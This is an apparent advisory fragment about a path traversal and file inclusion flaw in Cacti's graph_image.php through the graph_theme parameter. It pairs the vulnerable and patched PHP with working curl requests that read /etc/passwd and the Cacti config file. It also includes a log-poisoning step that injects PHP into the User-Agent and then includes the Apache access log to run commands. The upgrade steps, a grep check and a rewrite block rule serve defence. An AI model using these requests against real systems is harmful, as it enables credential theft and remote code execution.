if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

http://target-cacti/graph_image.php?local_graph_id=1

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]